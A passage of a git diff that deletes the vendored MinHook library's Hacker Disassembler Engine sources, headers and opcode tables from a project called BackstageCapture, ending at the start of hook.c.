- }
- p += 2;
- }
- if (cflags & C_IMM8) {
- hs->flags |= F_IMM8;
- hs->imm.imm8 = *p++;
- }
-
- if (cflags & C_REL32) {
- rel32_ok:
- hs->flags |= F_IMM32 | F_RELATIVE;
- hs->imm.imm32 = *(uint32_t *)p;
- p += 4;
- } else if (cflags & C_REL8) {
- hs->flags |= F_IMM8 | F_RELATIVE;
- hs->imm.imm8 = *p++;
- }
-
- disasm_done:
-
- if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
- hs->flags |= F_ERROR | F_ERROR_LENGTH;
- hs->len = 15;
- }
-
- return (unsigned int)hs->len;
-}
-
-#endif // defined(_M_IX86) || defined(__i386__)
diff --git a/BackstageCapture/Minhook/src/hde/hde32.h b/BackstageCapture/Minhook/src/hde/hde32.h
deleted file mode 100644
index 1112450..0000000
--- a/BackstageCapture/Minhook/src/hde/hde32.h
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Hacker Disassembler Engine 32
- * Copyright (c) 2006-2009, Vyacheslav Patkov.
- * All rights reserved.
- *
- * hde32.h: C/C++ header file
- *
- */
-
-#ifndef _HDE32_H_
-#define _HDE32_H_
-
-/* stdint.h - C99 standard header
- * http://en.wikipedia.org/wiki/stdint.h
- *
- * if your compiler doesn't contain "stdint.h" header (for
- * example, Microsoft Visual C++), you can download file:
- * http://www.azillionmonkeys.com/qed/pstdint.h
- * and change next line to:
- * #include "pstdint.h"
- */
-#include "pstdint.h"
-
-#define F_MODRM 0x00000001
-#define F_SIB 0x00000002
-#define F_IMM8 0x00000004
-#define F_IMM16 0x00000008
-#define F_IMM32 0x00000010
-#define F_DISP8 0x00000020
-#define F_DISP16 0x00000040
-#define F_DISP32 0x00000080
-#define F_RELATIVE 0x00000100
-#define F_2IMM16 0x00000800
-#define F_ERROR 0x00001000
-#define F_ERROR_OPCODE 0x00002000
-#define F_ERROR_LENGTH 0x00004000
-#define F_ERROR_LOCK 0x00008000
-#define F_ERROR_OPERAND 0x00010000
-#define F_PREFIX_REPNZ 0x01000000
-#define F_PREFIX_REPX 0x02000000
-#define F_PREFIX_REP 0x03000000
-#define F_PREFIX_66 0x04000000
-#define F_PREFIX_67 0x08000000
-#define F_PREFIX_LOCK 0x10000000
-#define F_PREFIX_SEG 0x20000000
-#define F_PREFIX_ANY 0x3f000000
-
-#define PREFIX_SEGMENT_CS 0x2e
-#define PREFIX_SEGMENT_SS 0x36
-#define PREFIX_SEGMENT_DS 0x3e
-#define PREFIX_SEGMENT_ES 0x26
-#define PREFIX_SEGMENT_FS 0x64
-#define PREFIX_SEGMENT_GS 0x65
-#define PREFIX_LOCK 0xf0
-#define PREFIX_REPNZ 0xf2
-#define PREFIX_REPX 0xf3
-#define PREFIX_OPERAND_SIZE 0x66
-#define PREFIX_ADDRESS_SIZE 0x67
-
-#pragma pack(push,1)
-
-typedef struct {
- uint8_t len;
- uint8_t p_rep;
- uint8_t p_lock;
- uint8_t p_seg;
- uint8_t p_66;
- uint8_t p_67;
- uint8_t opcode;
- uint8_t opcode2;
- uint8_t modrm;
- uint8_t modrm_mod;
- uint8_t modrm_reg;
- uint8_t modrm_rm;
- uint8_t sib;
- uint8_t sib_scale;
- uint8_t sib_index;
- uint8_t sib_base;
- union {
- uint8_t imm8;
- uint16_t imm16;
- uint32_t imm32;
- } imm;
- union {
- uint8_t disp8;
- uint16_t disp16;
- uint32_t disp32;
- } disp;
- uint32_t flags;
-} hde32s;
-
-#pragma pack(pop)
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-/* __cdecl */
-unsigned int hde32_disasm(const void *code, hde32s *hs);
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif /* _HDE32_H_ */
diff --git a/BackstageCapture/Minhook/src/hde/hde64.c b/BackstageCapture/Minhook/src/hde/hde64.c
deleted file mode 100644
index ce773b1..0000000
--- a/BackstageCapture/Minhook/src/hde/hde64.c
+++ /dev/null
@@ -1,335 +0,0 @@
-/*
- * Hacker Disassembler Engine 64 C
- * Copyright (c) 2008-2009, Vyacheslav Patkov.
- * All rights reserved.
- *
- */
-
-#if defined(_M_X64) || defined(__x86_64__)
-
-#include
-#include "hde64.h"
-#include "table64.h"
-
-unsigned int hde64_disasm(const void *code, hde64s *hs)
-{
- uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
- uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0;
- uint8_t op64 = 0;
-
- memset(hs, 0, sizeof(hde64s));
-
- for (x = 16; x; x--)
- switch (c = *p++) {
- case 0xf3:
- hs->p_rep = c;
- pref |= PRE_F3;
- break;
- case 0xf2:
- hs->p_rep = c;
- pref |= PRE_F2;
- break;
- case 0xf0:
- hs->p_lock = c;
- pref |= PRE_LOCK;
- break;
- case 0x26: case 0x2e: case 0x36:
- case 0x3e: case 0x64: case 0x65:
- hs->p_seg = c;
- pref |= PRE_SEG;
- break;
- case 0x66:
- hs->p_66 = c;
- pref |= PRE_66;
- break;
- case 0x67:
- hs->p_67 = c;
- pref |= PRE_67;
- break;
- default:
- goto pref_done;
- }
- pref_done:
-
- hs->flags = (uint32_t)pref << 23;
-
- if (!pref)
- pref |= PRE_NONE;
-
- if ((c & 0xf0) == 0x40) {
- hs->flags |= F_PREFIX_REX;
- if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)
- op64++;
- hs->rex_r = (c & 7) >> 2;
- hs->rex_x = (c & 3) >> 1;
- hs->rex_b = c & 1;
- if (((c = *p++) & 0xf0) == 0x40) {
- opcode = c;
- goto error_opcode;
- }
- }
-
- if ((hs->opcode = c) == 0x0f) {
- hs->opcode2 = c = *p++;
- ht += DELTA_OPCODES;
- } else if (c >= 0xa0 && c <= 0xa3) {
- op64++;
- if (pref & PRE_67)
- pref |= PRE_66;
- else
- pref &= ~PRE_66;
- }
-
- opcode = c;
- cflags = ht[ht[opcode / 4] + (opcode % 4)];
-
- if (cflags == C_ERROR) {
- error_opcode:
- hs->flags |= F_ERROR | F_ERROR_OPCODE;
- cflags = 0;
- if ((opcode & -3) == 0x24)
- cflags++;
- }
-
- x = 0;
- if (cflags & C_GROUP) {
- uint16_t t;
- t = *(uint16_t *)(ht + (cflags & 0x7f));
- cflags = (uint8_t)t;
- x = (uint8_t)(t >> 8);
- }
-
- if (hs->opcode2) {
- ht = hde64_table + DELTA_PREFIXES;
- if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
- hs->flags |= F_ERROR | F_ERROR_OPCODE;
- }
-
- if (cflags & C_MODRM) {
- hs->flags |= F_MODRM;
- hs->modrm = c = *p++;
- hs->modrm_mod = m_mod = c >> 6;
- hs->modrm_rm = m_rm = c & 7;
- hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
-
- if (x && ((x << m_reg) & 0x80))
- hs->flags |= F_ERROR | F_ERROR_OPCODE;
-
- if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
- uint8_t t = opcode - 0xd9;
- if (m_mod == 3) {
- ht = hde64_table + DELTA_FPU_MODRM + t*8;
- t = ht[m_reg] << m_rm;
- } else {
- ht = hde64_table + DELTA_FPU_REG;
- t = ht[t] << m_reg;
- }
- if (t & 0x80)
- hs->flags |= F_ERROR | F_ERROR_OPCODE;
- }
-
- if (pref & PRE_LOCK) {
- if (m_mod == 3) {
- hs->flags |= F_ERROR | F_ERROR_LOCK;
- } else {
- uint8_t *table_end, op = opcode;
- if (hs->opcode2) {
- ht = hde64_table + DELTA_OP2_LOCK_OK;
- table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
- } else {
- ht = hde64_table + DELTA_OP_LOCK_OK;
- table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
- op &= -2;
- }
- for (; ht != table_end; ht++)
- if (*ht++ == op) {
- if (!((*ht << m_reg) & 0x80))
- goto no_lock_error;
- else
- break;
- }
- hs->flags |= F_ERROR | F_ERROR_LOCK;
- no_lock_error:
- ;
- }
- }
-
- if (hs->opcode2) {
- switch (opcode) {
- case 0x20: case 0x22:
- m_mod = 3;
- if (m_reg > 4 || m_reg == 1)
- goto error_operand;
- else
- goto no_error_operand;
- case 0x21: case 0x23:
- m_mod = 3;
- if (m_reg == 4 || m_reg == 5)
- goto error_operand;
- else
- goto no_error_operand;
- }
- } else {
- switch (opcode) {
- case 0x8c:
- if (m_reg > 5)
- goto error_operand;
- else
- goto no_error_operand;
- case 0x8e:
- if (m_reg == 1 || m_reg > 5)
- goto error_operand;
- else
- goto no_error_operand;
- }
- }
-
- if (m_mod == 3) {
- uint8_t *table_end;
- if (hs->opcode2) {
- ht = hde64_table + DELTA_OP2_ONLY_MEM;
- table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM;
- } else {
- ht = hde64_table + DELTA_OP_ONLY_MEM;
- table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
- }
- for (; ht != table_end; ht += 2)
- if (*ht++ == opcode) {
- if ((*ht++ & pref) && !((*ht << m_reg) & 0x80))
- goto error_operand;
- else
- break;
- }
- goto no_error_operand;
- } else if (hs->opcode2) {
- switch (opcode) {
- case 0x50: case 0xd7: case 0xf7:
- if (pref & (PRE_NONE | PRE_66))
- goto error_operand;
- break;
- case 0xd6:
- if (pref & (PRE_F2 | PRE_F3))
- goto error_operand;
- break;
- case 0xc5:
- goto error_operand;
- }
- goto no_error_operand;
- } else
- goto no_error_operand;
-
- error_operand:
- hs->flags |= F_ERROR | F_ERROR_OPERAND;
- no_error_operand:
-
- c = *p++;
- if (m_reg <= 1) {
- if (opcode == 0xf6)
- cflags |= C_IMM8;
- else if (opcode == 0xf7)
- cflags |= C_IMM_P66;
- }
-
- switch (m_mod) {
- case 0:
- if (pref & PRE_67) {
- if (m_rm == 6)
- disp_size = 2;
- } else
- if (m_rm == 5)
- disp_size = 4;
- break;
- case 1:
- disp_size = 1;
- break;
- case 2:
- disp_size = 2;
- if (!(pref & PRE_67))
- disp_size <<= 1;
- break;
- }
-
- if (m_mod != 3 && m_rm == 4) {
- hs->flags |= F_SIB;
- p++;
- hs->sib = c;
- hs->sib_scale = c >> 6;
- hs->sib_index = (c & 0x3f) >> 3;
- if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
- disp_size = 4;
- }
-
- p--;
- switch (disp_size) {
- case 1:
- hs->flags |= F_DISP8;
- hs->disp.disp8 = *p;
- break;
- case 2:
- hs->flags |= F_DISP16;
- hs->disp.disp16 = *(uint16_t *)p;
- break;
- case 4:
- hs->flags |= F_DISP32;
- hs->disp.disp32 = *(uint32_t *)p;
- break;
- }
- p += disp_size;
- } else if (pref & PRE_LOCK)
- hs->flags |= F_ERROR | F_ERROR_LOCK;
-
- if (cflags & C_IMM_P66) {
- if (cflags & C_REL32) {
- if (pref & PRE_66) {
- hs->flags |= F_IMM16 | F_RELATIVE;
- hs->imm.imm16 = *(uint16_t *)p;
- p += 2;
- goto disasm_done;
- }
- goto rel32_ok;
- }
- if (op64) {
- hs->flags |= F_IMM64;
- hs->imm.imm64 = *(uint64_t *)p;
- p += 8;
- } else if (!(pref & PRE_66)) {
- hs->flags |= F_IMM32;
- hs->imm.imm32 = *(uint32_t *)p;
- p += 4;
- } else
- goto imm16_ok;
- }
-
-
- if (cflags & C_IMM16) {
- imm16_ok:
- hs->flags |= F_IMM16;
- hs->imm.imm16 = *(uint16_t *)p;
- p += 2;
- }
- if (cflags & C_IMM8) {
- hs->flags |= F_IMM8;
- hs->imm.imm8 = *p++;
- }
-
- if (cflags & C_REL32) {
- rel32_ok:
- hs->flags |= F_IMM32 | F_RELATIVE;
- hs->imm.imm32 = *(uint32_t *)p;
- p += 4;
- } else if (cflags & C_REL8) {
- hs->flags |= F_IMM8 | F_RELATIVE;
- hs->imm.imm8 = *p++;
- }
-
- disasm_done:
-
- if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
- hs->flags |= F_ERROR | F_ERROR_LENGTH;
- hs->len = 15;
- }
-
- return (unsigned int)hs->len;
-}
-
-#endif // defined(_M_X64) || defined(__x86_64__)
diff --git a/BackstageCapture/Minhook/src/hde/hde64.h b/BackstageCapture/Minhook/src/hde/hde64.h
deleted file mode 100644
index ecbf4df..0000000
--- a/BackstageCapture/Minhook/src/hde/hde64.h
+++ /dev/null
@@ -1,112 +0,0 @@
-/*
- * Hacker Disassembler Engine 64
- * Copyright (c) 2008-2009, Vyacheslav Patkov.
- * All rights reserved.
- *
- * hde64.h: C/C++ header file
- *
- */
-
-#ifndef _HDE64_H_
-#define _HDE64_H_
-
-/* stdint.h - C99 standard header
- * http://en.wikipedia.org/wiki/stdint.h
- *
- * if your compiler doesn't contain "stdint.h" header (for
- * example, Microsoft Visual C++), you can download file:
- * http://www.azillionmonkeys.com/qed/pstdint.h
- * and change next line to:
- * #include "pstdint.h"
- */
-#include "pstdint.h"
-
-#define F_MODRM 0x00000001
-#define F_SIB 0x00000002
-#define F_IMM8 0x00000004
-#define F_IMM16 0x00000008
-#define F_IMM32 0x00000010
-#define F_IMM64 0x00000020
-#define F_DISP8 0x00000040
-#define F_DISP16 0x00000080
-#define F_DISP32 0x00000100
-#define F_RELATIVE 0x00000200
-#define F_ERROR 0x00001000
-#define F_ERROR_OPCODE 0x00002000
-#define F_ERROR_LENGTH 0x00004000
-#define F_ERROR_LOCK 0x00008000
-#define F_ERROR_OPERAND 0x00010000
-#define F_PREFIX_REPNZ 0x01000000
-#define F_PREFIX_REPX 0x02000000
-#define F_PREFIX_REP 0x03000000
-#define F_PREFIX_66 0x04000000
-#define F_PREFIX_67 0x08000000
-#define F_PREFIX_LOCK 0x10000000
-#define F_PREFIX_SEG 0x20000000
-#define F_PREFIX_REX 0x40000000
-#define F_PREFIX_ANY 0x7f000000
-
-#define PREFIX_SEGMENT_CS 0x2e
-#define PREFIX_SEGMENT_SS 0x36
-#define PREFIX_SEGMENT_DS 0x3e
-#define PREFIX_SEGMENT_ES 0x26
-#define PREFIX_SEGMENT_FS 0x64
-#define PREFIX_SEGMENT_GS 0x65
-#define PREFIX_LOCK 0xf0
-#define PREFIX_REPNZ 0xf2
-#define PREFIX_REPX 0xf3
-#define PREFIX_OPERAND_SIZE 0x66
-#define PREFIX_ADDRESS_SIZE 0x67
-
-#pragma pack(push,1)
-
-typedef struct {
- uint8_t len;
- uint8_t p_rep;
- uint8_t p_lock;
- uint8_t p_seg;
- uint8_t p_66;
- uint8_t p_67;
- uint8_t rex;
- uint8_t rex_w;
- uint8_t rex_r;
- uint8_t rex_x;
- uint8_t rex_b;
- uint8_t opcode;
- uint8_t opcode2;
- uint8_t modrm;
- uint8_t modrm_mod;
- uint8_t modrm_reg;
- uint8_t modrm_rm;
- uint8_t sib;
- uint8_t sib_scale;
- uint8_t sib_index;
- uint8_t sib_base;
- union {
- uint8_t imm8;
- uint16_t imm16;
- uint32_t imm32;
- uint64_t imm64;
- } imm;
- union {
- uint8_t disp8;
- uint16_t disp16;
- uint32_t disp32;
- } disp;
- uint32_t flags;
-} hde64s;
-
-#pragma pack(pop)
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-/* __cdecl */
-unsigned int hde64_disasm(const void *code, hde64s *hs);
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif /* _HDE64_H_ */
diff --git a/BackstageCapture/Minhook/src/hde/pstdint.h b/BackstageCapture/Minhook/src/hde/pstdint.h
deleted file mode 100644
index 84d82a0..0000000
--- a/BackstageCapture/Minhook/src/hde/pstdint.h
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * MinHook - The Minimalistic API Hooking Library for x64/x86
- * Copyright (C) 2009-2017 Tsuda Kageyu. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * 1. Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- * notice, this list of conditions and the following disclaimer in the
- * documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
- * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
- * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
- * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
- * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
- * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
- * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#pragma once
-
-#include
-
-// Integer types for HDE.
-typedef INT8 int8_t;
-typedef INT16 int16_t;
-typedef INT32 int32_t;
-typedef INT64 int64_t;
-typedef UINT8 uint8_t;
-typedef UINT16 uint16_t;
-typedef UINT32 uint32_t;
-typedef UINT64 uint64_t;
diff --git a/BackstageCapture/Minhook/src/hde/table32.h b/BackstageCapture/Minhook/src/hde/table32.h
deleted file mode 100644
index 7b3e12e..0000000
--- a/BackstageCapture/Minhook/src/hde/table32.h
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Hacker Disassembler Engine 32 C
- * Copyright (c) 2008-2009, Vyacheslav Patkov.
- * All rights reserved.
- *
- */
-
-#define C_NONE 0x00
-#define C_MODRM 0x01
-#define C_IMM8 0x02
-#define C_IMM16 0x04
-#define C_IMM_P66 0x10
-#define C_REL8 0x20
-#define C_REL32 0x40
-#define C_GROUP 0x80
-#define C_ERROR 0xff
-
-#define PRE_ANY 0x00
-#define PRE_NONE 0x01
-#define PRE_F2 0x02
-#define PRE_F3 0x04
-#define PRE_66 0x08
-#define PRE_67 0x10
-#define PRE_LOCK 0x20
-#define PRE_SEG 0x40
-#define PRE_ALL 0xff
-
-#define DELTA_OPCODES 0x4a
-#define DELTA_FPU_REG 0xf1
-#define DELTA_FPU_MODRM 0xf8
-#define DELTA_PREFIXES 0x130
-#define DELTA_OP_LOCK_OK 0x1a1
-#define DELTA_OP2_LOCK_OK 0x1b9
-#define DELTA_OP_ONLY_MEM 0x1cb
-#define DELTA_OP2_ONLY_MEM 0x1da
-
-unsigned char hde32_table[] = {
- 0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,
- 0xa8,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xac,0xaa,0xb2,0xaa,0x9f,0x9f,
- 0x9f,0x9f,0xb5,0xa3,0xa3,0xa4,0xaa,0xaa,0xba,0xaa,0x96,0xaa,0xa8,0xaa,0xc3,
- 0xc3,0x96,0x96,0xb7,0xae,0xd6,0xbd,0xa3,0xc5,0xa3,0xa3,0x9f,0xc3,0x9c,0xaa,
- 0xaa,0xac,0xaa,0xbf,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0x90,
- 0x82,0x7d,0x97,0x59,0x59,0x59,0x59,0x59,0x7f,0x59,0x59,0x60,0x7d,0x7f,0x7f,
- 0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x9a,0x88,0x7d,
- 0x59,0x50,0x50,0x50,0x50,0x59,0x59,0x59,0x59,0x61,0x94,0x61,0x9e,0x59,0x59,
- 0x85,0x59,0x92,0xa3,0x60,0x60,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,
- 0x59,0x59,0x9f,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xcc,0x01,0xbc,0x03,0xf0,
- 0x10,0x10,0x10,0x10,0x50,0x50,0x50,0x50,0x14,0x20,0x20,0x20,0x20,0x01,0x01,
- 0x01,0x01,0xc4,0x02,0x10,0x00,0x00,0x00,0x00,0x01,0x01,0xc0,0xc2,0x10,0x11,
- 0x02,0x03,0x11,0x03,0x03,0x04,0x00,0x00,0x14,0x00,0x02,0x00,0x00,0xc6,0xc8,
- 0x02,0x02,0x02,0x02,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xca,
- 0x01,0x01,0x01,0x00,0x06,0x00,0x04,0x00,0xc0,0xc2,0x01,0x01,0x03,0x01,0xff,
- 0xff,0x01,0x00,0x03,0xc4,0xc4,0xc6,0x03,0x01,0x01,0x01,0xff,0x03,0x03,0x03,
- 0xc8,0x40,0x00,0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,
- 0x00,0x00,0x00,0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,
- 0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0xff,0xff,0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x7f,0x00,0x00,0xff,0x4a,0x4a,0x4a,0x4a,0x4b,0x52,0x4a,0x4a,0x4a,0x4a,0x4f,
- 0x4c,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x55,0x45,0x40,0x4a,0x4a,0x4a,
- 0x45,0x59,0x4d,0x46,0x4a,0x5d,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,
- 0x4a,0x4a,0x4a,0x4a,0x4a,0x61,0x63,0x67,0x4e,0x4a,0x4a,0x6b,0x6d,0x4a,0x4a,
- 0x45,0x6d,0x4a,0x4a,0x44,0x45,0x4a,0x4a,0x00,0x00,0x00,0x02,0x0d,0x06,0x06,
- 0x06,0x06,0x0e,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x00,0x06,0x06,0x02,0x06,
- 0x00,0x0a,0x0a,0x07,0x07,0x06,0x02,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
- 0x04,0x04,0x00,0x00,0x00,0x0e,0x05,0x06,0x06,0x06,0x01,0x06,0x00,0x00,0x08,
- 0x00,0x10,0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,
- 0x86,0x00,0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,
- 0xf8,0xbb,0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,
- 0xc4,0xff,0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,
- 0x13,0x09,0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,
- 0xb2,0xff,0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,
- 0xe7,0x08,0x00,0xf0,0x02,0x00
-};
diff --git a/BackstageCapture/Minhook/src/hde/table64.h b/BackstageCapture/Minhook/src/hde/table64.h
deleted file mode 100644
index 01d4541..0000000
--- a/BackstageCapture/Minhook/src/hde/table64.h
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Hacker Disassembler Engine 64 C
- * Copyright (c) 2008-2009, Vyacheslav Patkov.
- * All rights reserved.
- *
- */
-
-#define C_NONE 0x00
-#define C_MODRM 0x01
-#define C_IMM8 0x02
-#define C_IMM16 0x04
-#define C_IMM_P66 0x10
-#define C_REL8 0x20
-#define C_REL32 0x40
-#define C_GROUP 0x80
-#define C_ERROR 0xff
-
-#define PRE_ANY 0x00
-#define PRE_NONE 0x01
-#define PRE_F2 0x02
-#define PRE_F3 0x04
-#define PRE_66 0x08
-#define PRE_67 0x10
-#define PRE_LOCK 0x20
-#define PRE_SEG 0x40
-#define PRE_ALL 0xff
-
-#define DELTA_OPCODES 0x4a
-#define DELTA_FPU_REG 0xfd
-#define DELTA_FPU_MODRM 0x104
-#define DELTA_PREFIXES 0x13c
-#define DELTA_OP_LOCK_OK 0x1ae
-#define DELTA_OP2_LOCK_OK 0x1c6
-#define DELTA_OP_ONLY_MEM 0x1d8
-#define DELTA_OP2_ONLY_MEM 0x1e7
-
-unsigned char hde64_table[] = {
- 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5,
- 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1,
- 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea,
- 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0,
- 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab,
- 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92,
- 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90,
- 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b,
- 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,
- 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc,
- 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20,
- 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff,
- 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00,
- 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01,
- 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10,
- 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00,
- 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00,
- 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00,
- 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,
- 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,
- 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40,
- 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43,
- 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
- 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40,
- 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06,
- 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07,
- 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
- 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10,
- 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00,
- 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb,
- 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff,
- 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09,
- 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff,
- 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08,
- 0x00,0xf0,0x02,0x00
-};
diff --git a/BackstageCapture/Minhook/src/hook.c b/BackstageCapture/Minhook/src/hook.c
deleted file mode 100644
index 06f5696..0000000
--- a/BackstageCapture/Minhook/src/hook.c
+++ /dev/null
@@ -1,939 +0,0 @@
-/*
- * MinHook - The Minimalistic API Hooking Library for x64/x86
- * Copyright (C) 2009-2017 Tsuda Kageyu.
- * All rights reserved.
- *
